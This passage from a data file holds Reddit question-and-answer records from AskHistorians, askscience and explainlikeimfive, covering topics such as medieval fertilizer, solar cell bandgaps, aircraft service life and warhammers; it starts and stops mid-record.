[["https://en.wikipedia.org/wiki/%C3%9Cbermensch"], [], ["https://www.youtube.com/watch?v=wHWbZmg2hzU"], [], [], [], [], [], [], [], []]}
{"q_id": "4kbfsd", "title": "Did Medieval peasants use human excrement as fertilizer in a widespread sense, and is that why they had to boil everything picked from the field?", "selftext": "Source of claim: Terry Jones's Medieval Lives, episode 1.\n\nI don't really understand why this necessitated boiling more than animal excrement normally does, if that was the case. Would be delighted to be filled in.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4kbfsd/did_medieval_peasants_use_human_excrement_as/", "answers": {"a_id": ["d3dwjsx"], "score": [3], "text": ["I'm not sure about having to boil it. But I do know that in Flemish and Brabant medieval cities, the right to pick up human excrement from the city was sold to the highest bidder. They would then sell it to the surrounding countryside. So yes, human excrement was a valuable form of human waste in the middle ages. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "519fpc", "title": "What is the origin of the \"don't wear white after labor day\" fashion 'rule'?", "selftext": "I have done some reading on the internet about this, and from what I can tell it seems to be something upper class people devised to prevent their white clothes getting dirty from working. Is there something deeper? Are there other potential explanations?\n\nI hasten to add that while today is Labor Day in the US, it is not a \"current event\" as this trend goes back to at least the 1920s.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/519fpc/what_is_the_origin_of_the_dont_wear_white_after/", "answers": {"a_id": ["d7bkocg"], "score": [28], "text": ["You're close to hitting the nail on the head. In the late 19th century, prior to the advent of air conditioning or even electric fans, one method of resisting the summer heat was to dress in white cotton or linen - if you were affluent enough to not be working somewhere your clothes could get dirty, that is. At this point in time, doing laundry was an [incredibly onerous business](_URL_1_). Most darker/heavier materials could stand to pick up a little dirt and be brushed off and hung up for wearing again - sweat not being too much of a problem due to the layers of underclothing that would soak it up instead - but anything that happened to white fabric would have to be properly washed out, and so white clothing was worn sparingly. So the original version of the \"rule\" to only wear white in the summer was less a prescription than a description of ordinary habits of affluent people.\n\nAround the turn of the century, white started coming into fashion in a more general way: first with the [stereotypical 1890s white shirtwaist](_URL_0_), then with white gowns. With the rise of the garment industry, these were available at more moderate prices and were worn by larger numbers of women than had previously worn white during the hottest months of the summer, especially in the country. The shirtwaist, paired with a darker skirt, even became the female office worker's uniform. As is usual when an item or manner of dress that used to signify class becomes widespread, many were uncomfortable with the change. For example, a writer for *The Young Woman's Journal* [complained in 1908](_URL_2_) of how ubiquitous white dresses were compared to the past. The *Dry Goods Reporter* [noted in 1905](_URL_3_) that \"it will make it distasteful to well dressed people if the wearing of white canvas shoes is persisted in where it should not be seen - on city streets.\"\n\nUnfortunately, I don't know of any scholarly work that traces back the specific Memorial Day/Easter/May 24th-Labor Day wording of the rule, and after 1920 or so the primary sources become difficult to track. It doesn't seem to have been explicitly set in print until the 1970s, being rather the kind of thing that mothers passed down verbally to their daughters, like most other class shibboleths. It also seems to have been mostly about the white *shoes* rather than white anything else in particular at that point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blog.fidmmuseum.org/museum/2010/09/1890s-shirtwaist.html", "https://books.google.com/books?id=XVNAAQAAMAAJ&amp;pg=PA904#v=onepage&amp;q=laundry&amp;f=false", "https://books.google.com/books?id=JlYoAAAAYAAJ&amp;pg=PA358#v=onepage", "https://books.google.com/books?id=8pY7AQAAMAAJ&amp;pg=RA11-PA37#v=onepage&amp;f=false"]]}
{"q_id": "4yefy5", "title": "What is the probability of a star not having planets?", "selftext": "Can it be that all stars have/had planets at some point in their life-cycle? Or having planets is as unique as planets having satellites(moons)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4yefy5/what_is_the_probability_of_a_star_not_having/", "answers": {"a_id": ["d6npper", "d6o3ihk"], "score": [19, 7], "text": ["The short answer is that we don't know.\n\nWe used to think that stars might very rarely have planets, and that the solar system was an outlier. Then we started to look for them, and we found planets almost everywhere; around big stars, around small stars, around almost every type of star.\n\nThat doesn't mean that every star has plants, though. Stars in dense clusters might not allow planets to have stable orbits; other phenomena might limit planet formation as well.\n\nIn the end, there are probably (speculation time) as many solar systems with a ton of planets (like us) as there are solar systems with no plantes.", "Massive stars won't have planets because their lifetime is too short for planets to form.\n\n_URL_0_\n\nAlso metal-poor, population II, stars won't have any planets because they lack any heavy elements. \n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Stellar_evolution", "https://en.wikipedia.org/wiki/Metallicity"]]}
{"q_id": "c7shnr", "title": "why can\u2019t there be solar panels for different em waves? considering infrared is more abundant than visible light is on earth", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c7shnr/eli5_why_cant_there_be_solar_panels_for_different/", "answers": {"a_id": ["eshbivl", "eshbj9o", "eshc3cn", "eshcna3", "eshi6ry", "eshwrm2", "esi3glr", "esioe5m", "esj3ptk"], "score": [346, 31, 17, 2, 8, 2, 2, 2, 2], "text": ["[There are](_URL_0_).\n\nBut photons interact with materials by giving their energy to the electrons in the electron orbitals, and ONLY if the energy of each photon matches the energy required for the electron to jump to the next higher orbital that's \"free\".\n\nSo bottom line, different materials absorb different frequencies, so it's hard to make one solar panel that responds to a wide spectrum of frequencies.  You would need materials that absorb, say, infrared fully (they are black to IR) but let through visible and UV, then materials that absorb visible fully but let through UV, and finally materials that absorb UV.  \n\nAnd while various glasses and transparent plastics can do this, they're not photovoltaic (don't produce electricity), they just block the light like the sun-glasses of a certain color that are used for laser light protection in labs.", "Almost all solar cells absorb down to 1100nm, the band gap of silicon, which is well into the IR, which starts at about 800 nm.  Longer wavelengths have less energy per photon, and that limits the utility of capturing them as the voldage per cell must be very low = >  many more cell-to-cell connections = >  more complexity = more cost.", "Well first of all it's true that infrared are more abundant than visible light, the difference isn't that great. Visible light is about 42%, while infrared is somewhere between 49-52%. The advantage of visible light is that it's a lot more concentrated both in energy and in wavelenght. What I mean by that, is that each photon of visible light carry more energy than infrared photon AND that the 50% of infrared is spread between 700nm to 1mm, while visible light is concentrated between 380 to 780nm. \n\n & #x200B;\n\nFinally, making a solar panel for visible light is a lot easier. You have what we call a bad gap, which is the minimum energy need to exite an electron. Silicon have a band gap big enough that infrared can't exist it, but visible light can. Silicon is relatively cheap and easy to find so that make it a good candidate for building material, but to be able to use infrared, we need another material or to change some variable, meaning that it's a bid harder and cost more. So for now visible light solar panel are simply the easiest and most economic.", "Additionally a majority of the other wavelengths are blocked or diminished by our Atmosphere.", "Different solar cell materials are designed for different wavelengths of light, which in short is defined by the solar cell's **bandgap**.  The bandgap is a characteristic of whatever semiconductor material the cell is made of and is conceptually defined as the amount of energy a photon must have to excite an electron out of it's rest state (I'm simplifying a bit here, but hopefully this is enough for this explanation).\n\nHowever, there is a design trade-off here.  The longer wavelength the bandgap of the material is, the more photons in the solar spectrum you can absorb (e.g. you can absorb photons in the IR range).  However, the amount of energy you can extract from a photon absorbed by a solar cell is also heavily influenced by the bandgap of the material, with larger (shorter wavelength) bandgaps corresponding to more energy extracted per photon absorbed.\n\nThis quickly becomes an optimization problem.  The wider your bandgap is, the more energy you get per photon.  The narrower your bandgap is, the more photons you can absorb.  Scientists have done the math, and the best place to balance these trade-offs is with a bandgap roughly in the 900-1000 nm range.", "NASA uses multi layer solar panels on satellites as well as the international space station, for precisely that reason. They are massively more efficient than commercially available ones, but they're far too expensive to be commercially viable.", "Some solar cells, put prisims in front of the material that is used to absorb the light.  Once the light is 'sorted' by the prism, you can use different materials to absorb the energy out of the light that is most efficient for those wavelengths.  Maximizing the energy absorbed.\n\nOf course this is more expensive to manufacture.  Although I am hoping this will become cost effective soon.\n\nSun\n\n\u2b07\ufe0f\n\nPrism\n\n\u2199\ufe0f\u2b07\ufe0f\u2198\ufe0f\n\nRed,      Yellow,   Green,  Blue ...\n\n   \u2b07\ufe0f         \u2b07\ufe0f            \u2b07\ufe0f       \u2b07\ufe0f\n\nMetal1, Metal2, Metal3, Metal4...", "Because the earth's atmosphere passes blue to yellow light with the least energy loss it makes sense to use the frequency where the most energy hits the solar panel PV cells. You can make PV cells sensitive to any EM frequency but for simple efficiency you work where the maximum energy naturally occurs.", "Almost all solar panels are made for visible+near infrared light. Many solar cells look blue because the antireflection coating reflects blue light to get less reflection of near infrared light. They don't make purely IR solar cells because they don't perform well unless it's very cold, and because they provide less voltage than ones made for visible light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Solar_cell_research"], [], [], [], [], [], [], [], []]}
{"q_id": "fy7l6o", "title": "If I bought meat or honey at a medieval market would I be given a container or expect to bring my own?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fy7l6o/if_i_bought_meat_or_honey_at_a_medieval_market/", "answers": {"a_id": ["fn0mlkl"], "score": [59], "text": ["Hi, so to follow across from the other thread about bread, we also have some depictions of 'wet' goods in contemporary illustrations and illuminations. Many depictions of market scenes show that poultry in particular was sold \"whole\" to be plucked and dressed at home. Meat when not sold on the rack is likely to have been stored in ceramic pots or in metal trays, or simply wrapped in cloth if cured and preserved. A great amount of medieval meat was preserved rather than eaten fresh, so was likely to either be dried or salted, and thus likely stored in jars. Significant archaeological evidence from the *burh* at Stafford shows that the meat that was produced at the mass butchers there was indeed stored and distributed in ceramic vessels produced on-site.\n\nSherd evidence suggests that pottery usage was commonplace across urban scenarios so it's likely that you could purchase suitable storage vessels at a market if you lacked your own. Some Stafford Ware sherds show up in Chester and Dublin, suggesting that these ceramic jars and amphor\u00e6 were being used - or reused - for the export of (probably) meat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qatrt", "title": "Do animals who see only in black and white only have rods in their eyes, and if so, what would someone see if they only had cones?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qatrt/do_animals_who_see_only_in_black_and_white_only/", "answers": {"a_id": ["c3w4e6l"], "score": [2], "text": ["It has more to do with the concentration of cones and rods. In the human eye, for example, we have a large concentration of cones in the central foci of the yes while on the peripheral there is a fairly low concentration of cones and a higher concentration of rods. This is why you cannot differentiate colors in your peripheral vision. Animals that cannot see color would have color perception similar to that of your peripheral vision (but generally much sharper and focused)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21iwam", "title": "Why do some people's gut bacteria cause them to have IBD, and others eating the same food are not affected?", "selftext": "I have Ulcerative Colitis and was just wondering if someone had some insight into gut bacteria and IBD. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21iwam/why_do_some_peoples_gut_bacteria_cause_them_to/", "answers": {"a_id": ["cgdjj95", "cgdl1g9"], "score": [7, 15], "text": ["This is not entirely clear. We still don't know much about the species of microbes that live in our gut. What we do know is that they outnumber our own cells by a large margin, and if you were to purify just the microbes from your gut they would make up the same volume as approximately 3 cans of soup.\n\nFrom what I understand the current thinking is something like this, though this is overly simplified. In any persons gut there is a battle going on for microbe supremacy. The microbes that win this battle are the ones that colonize in greater numbers and aid in our digestion. Now everyone's gut flora is different. So for some people with IBD it is thought that when these people's gut flora helps them digest food there could be side products being produced that are harmful, and this side product could be specific to the digestion of particular foods. In these cases a fecal transplant could actually help, and possibly cure the IBD.", "So the thing to remember is that this is a really active field of research, and questions like yours are the kinds of basic questions that are being asked. An important concept is that the microbial community in the gut (called the gut microbiome) and the host immune system have to interact with each other. Your digestive tract is filled not only with commensal bacteria, but also with a huge number of immune cells that basically act to keep the bacteria in check (this is a generalization). In a healthy person this works fine, and the bacterial-immune system interaction keeps things in order, but in some people the balance is altered and pathology results. A certain group of microbes seems to take over, and typically we see an increase in inflammatory immune cells that cause disease. \n\nAt this point we're still asking the \"chicken vs. egg\" question -- do alterations in gut bacteria drive pathology and alterations in the immune system, or do changes in the immune system cause the pathology, and the changes in bacterial communities follow. We know that altered gut bacteria is sufficient to transfer colitis from affected mice to \"normal\" mice, for example, but that doesn't necessarily mean that a \"bad\" microbiome is the cause of the disease in the first place. \n\n-Edit: tl;dr, we actually don't know yet. \nIf I had to hazard a guess, I would argue that probably in the majority of cases, a dysregulated immune response (potentially caused by genetic factors) causes increased inflammation in the first place, and this reinforces a change in the microbiome that reinforces the inflammation and causes disease. But we really don't know.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2hg9au", "title": "why do aircraft models (f-22, 747, etc) last for up to decades whereas a car from the 1980s would be incredibly dated?", "selftext": "The BBC did a [video on the F-22](_URL_0_) and mentioned that it would have air dominance for up to 40 years from it's release in 1988. On the other hand, you can bet a car from 1988 won't be as fast, powerful or advanced as one built today. Why the discrepancy? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hg9au/eli5why_do_aircraft_models_f22_747_etc_last_for/", "answers": {"a_id": ["ckscxhi", "cksd6ua", "cksd7dz", "cksd87p", "cksd8au", "cksdf97", "cksdl0o", "cksdntc", "ckse6mc", "ckseevv", "ckseimj", "cksekcq", "cksezdv", "cksfmi0", "cksg5hs", "cksncl7", "cksogsy", "ckspgom", "ckst0i5", "cksu7c9", "cksy3zj", "ckt04i0", "ckt2n11"], "score": [13, 14, 3, 38, 3, 4, 3, 5, 3, 9, 6, 2, 3, 2, 4, 2, 2, 2, 4, 2, 2, 4, 2], "text": ["Excellent question. I'm interested in hearing the answer, but my guess for the largest reason is money. Cars are cheaper than planes. Cheaper to continue to maintain a 747 rather than buy a new one for many years since they cost around $400 mil", "Buying an average car is around $10-30k. Buying a state of the art F-22 will cost the US government around $420 million per aircraft. When buying a new aircraft, the only way to justify the steep price tag is to ensure longevity so that over time the return on investment increases.\n\nYou also need to look at the massive R & D costs to develop new aircraft. New cars come out every year and make minor changes because the market is so large that capturing a small percentage of market can recoup the R & D costs. However, the market size for a $420 million aircraft is rather small (especially with US laws preventing selling military equipment to enemies). As a result, aircraft have longer lifespans to recoup the R & D costs. \n\nNo nation could afford a new state of the art aircraft every year or decade. Servicing the US air fleet is a daunting task requiring thousands of specifically trained engineers and pilots. Retraining air wings from the F-15 to the F-22 takes time and is costly. Doing this multiple times is a waste of resources. Compared to a car, even though different makes have different parts or intracacies, they are all relatively the same. An F-22 with thrust vectoring operating on a different software architecture is a completely different beast than a 1980s F-15.\n\n", "I do IT work for a large aerospace company, so I'm not the perfect guy to answer this question but I am surrounded by planes and their engineers every day.  My answer is pretty simple though: money/demand.  When a plane costs a quarter billion to purchase and millions in maintenance/fuel, there isn't a whole lot of demand and so the technology isn't advancing at an automotive pace.\n\nThat being said, it is the planes themselves that are sound for ~40 years.  The electronics (especially in military applications) are replaced as the technology advances.  \n\nA simple analogy to the above is removing your stereo in your 78 Camaro and replacing it with something modern.  The engine, axels, etc are still 78, but now you got a stereo that can perform modern applications like play a mp3.", "An aircraft from 1988 would be incredibly dated by today's standards.  Though the basic airframe stays similar, in-service aircraft get continual upgrades to their systems.  Also, new versions come out (this is why you'll hear about the F-16D, which is an upgrade from the F-16C, etc.).\n\nA better analogy would be to car make rather than model.  The Toyota Camry came out in like 1980, but it's still hot today because it keeps getting updated.", "One reason is that airplanes continue to get upgrades over the years, both in their avionics and engines. \n\nThe first 747 that rolled off the line bears little resemblance to one that rolls off today, other than the silhouette.", "There is many reasons, but first thing: if you will care about your car, it will serve you for quite some time. \n\nNow about planes:\n\nPlanes are constantly evolving. Plane from \"first batch\" will be different than plane from \"last batch\". Similarly Porsche 911 from 1980 is different than from 2014. \n\nPlanes are made from high quality materials (for example titanium, or aluminum alloys for passenger planes). \n\nPlanes have very strict maintenance plan and they are upgraded. Similarly you can swap engine in your car. \n\nPlanes are constructed for 20+ years of usage. Not every car is projected for that, let's be honest here. \n\nPlanes have many, many more restrictions and accidents are thoroughly inspected, but with cars it's impossible. So \"bad part\" in plane, or bad design will be found. ", "Aircraft maintenance takes the vast majority of its lifespan, they don't see action very often and if they do they go back to the hangar immediately after.", "Well a major concern is that it just costs lots more money to do things with planes. Not only are they orders of magnitudes larger, there's also much more design work that has to be done, even on a small plane or helicopter. Since this leads to them being so expensive, once you buy one, you take every effort to keep it running as long as possible.\n\nHowever, aircraft manufacturers release new planes more often then you'd think. The 747 that was first sold to customers is only like the one sold today in terms of the looks. The electronics inside, the engines, the wings and even the length of the fuselage all have gotten changed incrementally over the years. So while a 747 from 1970 looks very similar to one from today, the one from today is a much more advanced aircraft. So long as the general needs of the airframe don't change drastically (a 747 will never have a supersonic cruising speed), there's not often a need to start from scratch rather than just upgrade what you already have.", "Keep in mind that the individual aircraft isn't 40 years old. They are retired individually much sooner.  The models just last longer.  It's a \"body style\" that lasts decades.\n\nThink of it like a Ford Mustang.  Yes, that body type is ancient, but there have been incremental modifications to the insides (and outside) over the years.\n\nThe reality is, that the plane just doesn't have to be updated that often.  Who are WE competing against.\n\nThe USAF is the world's largest Air Force.  The USN is the world's second largest Air Force.\n\nWe only have to update planes when we want to, or when they are truly obsolete.  Which is when we've sold enough of them to friendly (and potentially hostile) nations to where they are a threat to us.  So about every 20 years or so.  \n", "Planes are updated regularly.\n\nThe engines are replaced and newer, better engines are put in.\n\nThe avionics are replaced and newer, better avionics and electronics are put in.\n\nOnly the frame remains the same.\n\nIt is like taking an older car and putting in a new engine and interior.", "Fighter jets are always being worked on. Whenever something small breaks it is fixed right away. The systems on aircrafts are much better and tell you most of the time change this thing to make it serviceable. \nAlso aircraft go in for routine overhauls where many parts are pulled off and swapped with newer ones and the old go back to shops to be checked out. This keeps jets flying for many years. \nAs for keeping air superiority. Systems are being updated every so often. Jets are built with room for upgrades. \nNot sure if that really helped. If you need more i can try to oblige. Im an Avionics Technician with F-18 so I'm just going off what I see and know.", "The planes would be \"outdated\" if every country would have an arms race. Planes during WW2 were sometimes outdated within one year same for tanks. ", "A lot of these answers talk about cost of airplanes. While true, that just raises the unresolved question of *why* they cost so much. The reason is that it's much harder to design a working airplane than a private car. And generally, the more criteria a design must meet, the harder it is to find a valid solution, and this the more expensive it will be. So then once you pay for the design and initial batch, you'll want to keep it a while. \n\nMilitary aircraft in particular are funded by ambitious governments that want it to have some capability the enemies don't, which sparks an arms race to have features on an already-tightly-constrained design. (Note in particular all the cost overruns for the F-35, which aims to do \"everything\".)", "Maintenance.\n\nThe military still maintains Humvee's too, some of them as old as 1985.", "Yes, it is costs. Not just the costs of the airplanes but also all the associated costs for maintenance facilities, support infrastructure and training.\n\nFor a capital investment like an airplane the return on the investment will take much longer to pay off.\n\nDesigning of new aircraft is a multi-billion dollar long term commitment.\nAnd there are only a few companies capable of doing that.\n\n\nFinally, it is because of maintenance. Airplanes undergo extensive maintenance that no consumer car will ever undergo. So they can last a lot longer in service.\n\nAlso, airplanes are updated quiet regularly in terms of avionics, engines and cabins.", "Planned obsolescence. Cars are a consumer good, as are iphones and laptops. A newer model is introduced every year that features slight modifications from the previous year's to keep people buying them. It would certainly be possible to buy a particular model of car, and to have different modifications performed over the years to bring it up to spec, but this business model wouldn't generate the same revenue the manufacturers are getting now. ", "Military equipment is designed to function through the toughest circumstances. Major brand cars are designed to take a dump after a few years so you buy another one.", "Scheduled Maintenance. Every aircraft has a team of maintainers for every system on board. These aircraft are mostly still pieces of shit though, if you look at the forms there are usually pages of waivers that allow it to be cleared to fly while still \"broken\"", "aircraft maintenance technician here:\n\nEvery 400 hours we do an extensive inspection of it; take panels off, x-ray or cracks, inspect wire harnesses, change filters, inspect for corrosion, etc.  Aircraft unlike cars are made to be taken apart and put back together; with a competent crew I can have an F-15 engine out in 4 hours and back in, inspected and tested in another 3-4 hours.  These inspections last anywhere from 4 days to over a week depending on how much work needs to be done.  On top of that we have smaller inspections that can be done in the down time after the jet is done flying for the day.  Inspections like pulling special plugs in the engine and sticking a borescope in there and checking the condition of each blade or installing special equipment that simulates enemy threat signals and making sure the computer picks them up, or taking the ejection seat out and inspecting the parachute and the condition of the pyrotechnic modules.  Seriously it's *a lot* of scheduled maintenance", "Sorry but I don't see the correct answer here.  The real reason is that aircraft have an incredibly aggressive maintenance and inspection schedule. Engines are routinely taken apart and rebuilt, airframes are inspected inch by inch for cracks, and worn parts are replaced long before they can fail.  They simply do not do this for cars because no one wants a car that is that old for style reasons. ", "Something that the other commenters haven't mentioned; technology isn't linear. Sometimes it grows quickly, sometimes it takes its time. In this current case (the F-22) it already serves all purposes well and spending millions to upgrade these for a 5% growth in technology is ridiculous. ", "From another commenter:\n\n > Cheaper to continue to maintain a 747 rather than buy a new one for many years since they cost around $400 mil\n\nOnce this equation starts to go into the costing more to maintain side of things they'll be retired. It also has to be remembered that for airlines an aircraft is a revenue maker, so while an aircraft may be older as long as it makes more than it costs to repair it's still profitable but as we're seeing at the minute there are so many gas guzzling 747s that can't generate as much revenue as more efficient 777s that they're being replaced. \n\nAirframes also have a set life expectancy at creation, they will only last so many hours and so many cycles (take off and landings) and you can repair them as much as you want until then. The day will come that there's no point any more as any repairs will outlast any potential life expectancy of the aircraft, Cathay Pacific for example is currently running their 747s into the ground as the next major overhaul for the aircraft will cost too much and last too long for the projected use of the aircraft. They get worked until they're close to that big overhaul and then scrapped. \n\nAll airframes are designed around aerodynamic principles, unlike cars which are often styled to fit with trends and will soon end up dated. The F-22 won't suddenly be out of style, keep replacing the avionics and systems to keep them as cutting edge as possible but as long as the aircraft can still fly it can still do its job. When the basic design is no longer cutting edge or can't keep up with what its tasked with then it gets replaced. \n\nIn military aircraft the avionics and weaponry capability are extremely important, and these can be upgraded over time. The Panavia Tornado operated by quite a few European nations is about 40 years old now, but as time has gone on it has had more advanced capabilities added than could be imagined at the time so it's still able to do its job today. The B-52 first flew in 1955, it's been upgraded and new systems added and obsolete ones removed so it can do a job it wasn't designed to do a job it wasn't planned to do today. The investment in a military aircraft is immense, there's the design costs but also the unit and upkeep costs so they build a lot of room for expansion into them so they can have decent service lives. You could do the same with your old car, but you'll quickly approach limits on what you can do and it'll more rapidly get to a point where repairs and upkeep far outweigh the cost of just replacing the thing and car manufacturers know that.\n\nSo TL;DR:\n\nThe discrepancy is because of the following:\n\n* Cost, airplanes cost a lot more to make and upkeep, so it makes sense to keep them going as long as possible.\n\n* In built ability to expand and replace existing systems.\n\n* Just because the type is still in service doesn't necessarily mean it's the same aircraft that was built decades ago, new builds are often done of the same type but upgraded models.\n\n* Passenger aircraft are revenue makers, as long as they make profits they can still be used. When it costs too much to run and maintain them then they get replaced. If a major overhaul is coming up and the aircraft isn't making much money and the maintenance will be valid for longer than they want to keep the aircraft then it gets replaced. \n\n* If you really wanted you could keep your car like they do aircraft, replace the engine with a more technologically advanced one which will be more efficient and powerful. There is a limit on this, I'm not sure if you could fit ABS brakes to a car not fitted with them initially, but you could upgrade regularly. Is it worth it though? It'll soon be a car that cost more to upgrade components than it was worth, or even the cost of a new one. ", "There are a couples reasons, \n\n* The biggest is that they are constantly being worked on when they are not flying. for instance, I believe the CH-53 has around 30 hours of maintenance per 1 hour of flight. When I was in the military we had around 200 people total to fly and take care of just 12 aircraft.\n\n* The parts are being swapped out/upgraded all the time.\n\n* It is extremely expensive to develop them, so the military squeezes everything they can out of them. the V-22 program cost like a couple trillion and has been in development since the 80's.\n\n* They are built to last because obviously they may see combat.\n\n* Also it is not always a specific aircraft, but just the design of it that is kept for so long. However, often times aircraft are sent to civilian contractors to get overhauled for a big upgrade or if they have to take apart the frame of the aircraft.\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.bbc.co.uk/news/world-us-canada-29367837"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "120u71", "title": "/r/pyongyang", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/120u71/elif_rpyongyang/", "answers": {"a_id": ["c6r72p7", "c6r76cp", "c6r7a63", "c6r9vjw"], "score": [4, 39, 2, 5], "text": ["its a subreddit that parodies  North Korea ", "Someone has taken time to create a mock up of N.Korean propaganda. N.Korea is well known for its propaganda aimed at its citizens and its attempts to appear to be a great propsperous country to the outside world. They have a twitter account and a facebook page, which is ridiculous as the regular people in N.Korea will never be allowed to freely talk to foreigners over internet. If they have that, why not a subreddit? someone thought and made a page named after the capital. It contains articles that N.Korea post on some ._URL_0_ pages. These are just propaganda but they get linked on  reddit like normal news is in other subreddits. The comments are people joining the troll, yelling \"All praise north korea\". and congratulating N.Korea for beingthe most prosperous country in the world.\nSometimes, to really parody the reality of N.Korea there are hundred of comments like these:\n\n[Comment deleted]\n\n[Comment deleted]\n\n[Comment deleted]\n\n[Comment deleted]\n\n\"All praise the great leader\"\n\n[Comment deleted]\n\n[Comment deleted]\n\n[Comment deleted]\n\n[Comment deleted]\n\nA recurring injoke was saying \"You are banned from r/pyongyang\" to anyone being critical of N.Korea on reddit. \n\nEdit: some people have responded saying the subreddit could be [real](_URL_2_). There is no direct proof of that as no one from north korea has spoken up, but the subreddit does link to the twitter account of an organisation that is meant to promote N.Korea's image and several others doing the same. That is only circumstantial evidence of course. The other arguments is that the subreddit was once heavily moderated which might indicate that its too much for one person, but why would there be only on person? It could be an injoke at someones office for all you know or the hobby of a few pensioners/unemployed.\n\nIt seems  that (possible bullshit warning, due to my understanding of the subject) the websites posted are genuine Nkorean propaganda from the .kp domain, but it has been argued that some websites that were posted in the past where hosted in other domains than kp which made them visible in south korea until they were found out and deleted. After that they dissapeared of reddit too. Apparently, only someone from n.korea would know about websites meant to bypass s.korean filters before thwy are found out, meaning they were made by N.Koreans.  Or at least that is what is got from the link above.  \n[The plot thickens](_URL_1_)\n", "The best part is the addition of Kim Jong UN (rightmost) to the portraits of Kim Il Sung and Kim Jong Il in the top right corner. ", "What?!?! No one has linked to it? Here ya go. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["rep.kp", "http://www.youtube.com/watch?v=ye8KvYKn9-0", "http://www.reddit.com/r/Fitness/comments/xdv0l/4_ft_11_ins_korean_dude_lifting_three_times_his/c5lnq2j"], [], ["http://www.reddit.com/r/pyongyang"]]}
{"q_id": "48tko2", "title": "[Meta] What is Soapboxing?", "selftext": "Hey there, I'm rather new to posting on this subreddit, and reddit in general. I don't even know if I'm using the meta tag properly, so feel free to delete it if it violates anything! anyways, here goes.\nI have been trying to look through the FAQ, and the rules of this subreddit, but I can't seem to find any information on what soapboxing is? It may be that I am just bad at looking up information. Thanks in advance.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48tko2/meta_what_is_soapboxing/", "answers": {"a_id": ["d0metgg"], "score": [9], "text": ["OED lists soap-box\n\n >  1650s, \"box for holding soap,\" later especially a wooden crate in which soap may be packed; from soap (n.) + box (n.). *Typical of a makeshift stand for a public orator since at least 1907*.\n\nOr from Merriam-Webster:\n\n > : a box or small platform that someone stands on to give a speech to people in an outdoor, public place\n\n > :  an improvised platform used by a self-appointed, spontaneous, or informal orator; broadly :  something that provides an outlet for delivering opinions\n\nBasically, when we refer to \"soapboxing\" as an activity on /r/AskHistorians, we are referring to those who are attempting to use the sub or history as a platform to promote an agenda, be it political, religious, social, etc. These can be in the form of a question (i.e. a loaded question) or an answer that seeks to use the past as a pretense to steer the discussion towards a particular issue or debate topic. [From the Rules](_URL_1_.): \n\n > This subreddit is called AskHistorians, not *Lecture*Historians or *Debate*Historians. While we appreciate your enthusiasm for the history of issues that play a role in your life, we are here to answer your questions about issues, not provide a sounding board for your theories or a podium for your lectures. All questions must allow a back-and-forth dialogue based on the desire to gain further information, and not be predicated on a false and loaded premise in order to push an agenda.\n\nThis corresponds with a [further section in the Rules](_URL_0_):\n\n > Answers should not include a political agenda, nor moralise about the issue at hand. This is not the place for you to say that communism is a failure and against human nature, nor that capitalism is evil and dehumanises people. Historians report the facts and events as neutrally as possible, without an agenda - moral or political.\n\nIn other words, we want to learn about the past on its own terms, not push an agenda. Soapboxes must be left at the door :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_political_agendas_or_moralising", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22soapboxing.22_or_loaded_questions"]]}
{"q_id": "3apiyn", "title": "Were warhammers regularly used in combat?", "selftext": "You see them so often in video games but they seem really ineffective compared to swords and axes.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3apiyn/were_warhammers_regularly_used_in_combat/", "answers": {"a_id": ["csewl2k", "csfbv1e"], "score": [894, 32], "text": ["I would begin by saying that video games are generally atrocious at accurate weapon and armor design, and that some of the fantasy type war hammers with massive heads would only have existed as tools, if they existed at all.  A weapon needs to be able to be wielded with agility to be effective in combat.\n\nWar hammers were small weapons, meant to be easily manageable in one hand.  Ewart Oakeshott's *A Knight and His Weapons* describes the typical war hammer as being about two to two and a half feet in length.  Hammer heads weighed around three pounds and consisted of a striking head (that often contained many gripping teeth), and a piercing spike.  \n\nWar hammers are described as being carried secondarily to a sword and/or lance and were primarily used in close range armored combat - a major disadvantage of the weapon being its short reach.  The major advantage is the ability to transfer energy through armor, as well as to cause disabling dents.  Armor was very carefully fitted and warped plates could easily reduce range of motion.  It is important to note that swords are also capable of biting into plate and performing this same function.  War hammers were just more specialized for the task.\n\nWhile the weapons popularity is closely correlated with the usage of complex plate armor of the later medieval period (it was notably popular during the Hundred Years War), there are images of warriors armed with war hammers from the 13th century as well.  I can't find an image online but Oakeshott mentions a tomb effigy in Malvern Abbey that features an unnamed warrior in 13th century armor armed only with a small hammer and a bucker (a sort of small round shield, usually 9in-12in across).\n\nSources:\nEwart Oakeshott: *The Archaeology of Weapons*, *A Knight and His Weapons*, *A Knight and His Armor*\n\nMike Loades: *Swords and 